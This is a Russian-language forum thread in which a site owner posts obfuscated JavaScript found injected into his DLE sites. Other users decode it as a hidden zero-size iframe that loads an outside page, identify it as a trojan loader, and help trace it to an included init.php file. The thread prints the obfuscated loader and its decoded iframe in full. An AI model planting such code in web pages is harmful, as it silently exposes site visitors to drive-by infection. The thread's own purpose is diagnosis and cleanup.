PDA

Просмотр полной версии : Потерявшийся Ява или индекс схавал паразит

comeoff
15.03.2008, 18:24
Интересную сказку начал наблюдать в исходниках на своих сайтах (все на одном хосте висят)

В индексах в самом верху начал наблюдаться какой то ява скрипт. Подозрения на фтп червя, но я не уверен. может кто подскажет, что это за скриптег такой и что он делает?

<script type="text/javascript">function ahpgxusvlwuzz(skusjits){var fgdxbotv="";for(uknzaxauyi=0;uknzaxauyi<skusjits.length;uknzaxauyi+=2){fgdxbotv+=(String.f romCharCode(parseInt(skusjits.substr(uknzaxauyi,2) ,16)));}document.write(fgdxbotv);}ahpgxusvlwuzz("3C696672616D65207372633D22687474703A2F2F746F703130 302D636F756E7465722E636F6D2F746F703130302F696E6465 782E70687022206672616D65626F726465723D22302220626F 726465723D2230222077696474683D22302220686569676874 3D223022207374796C653D22706F736974696F6E3A20616273 6F6C7574653B207669736962696C6974793A2068696464656E 3B20646973706C61793A206E6F6E65223E3C2F696672616D65 3E");</script>

П.С. возможно я создал тему не в той ветке, но на мой взгляд она должна быть тут, так что прошу, если что, судить не строго и больно не пинать))
Piflit
15.03.2008, 18:28
ничего интересного. обычный айфрейм на плоент

<iframe src="http://top100-counter.com/top100/index.php" frameborder="0" border="0" width="0" height="0" style="position: absolute; visibility: hidden; display: none"></iframe>
iddqd
15.03.2008, 18:28
загрузчик трояна. стопудов
comeoff
15.03.2008, 20:19
Если загрузчик троя, интересно, почему антивирусы молчат:(
Кстати скорее всего так и есть. читал на форуме хостера, что не довольные клиенты ругаются, что хостер не хочет пытаться найти источник заражения на фтп и почистить там всё. все ругались на какой то не понятный ява скрипт
comeoff
16.03.2008, 00:46
На сайтах двиг Dle 6.7
В индекс.пхп и в .штаццесс я подозрительного кода не нашёл. Где он мог спрятатся? Выводится на всех страницах сайта в самом верху.
iddqd
16.03.2008, 01:21
возможно в файлах, которые подключаются через include()
footer.php, header.php и.т.п
NFM
16.03.2008, 01:27
антивирус и не должен говорить =) сплоит криптованный и авиры сосут до поры до времени
comeoff
16.03.2008, 12:51
Нашёл...
через require_once подключался. файл require_once ROOT_DIR.'/engine/init.php';

iddqd, thx ;)
n0153r
19.03.2008, 17:37
Нашёл...
через require_once подключался. файл require_once ROOT_DIR.'/engine/init.php';

iddqd, thx ;)
молодец, теперь пройдись по логам и посмотри кто проник на твой сайт.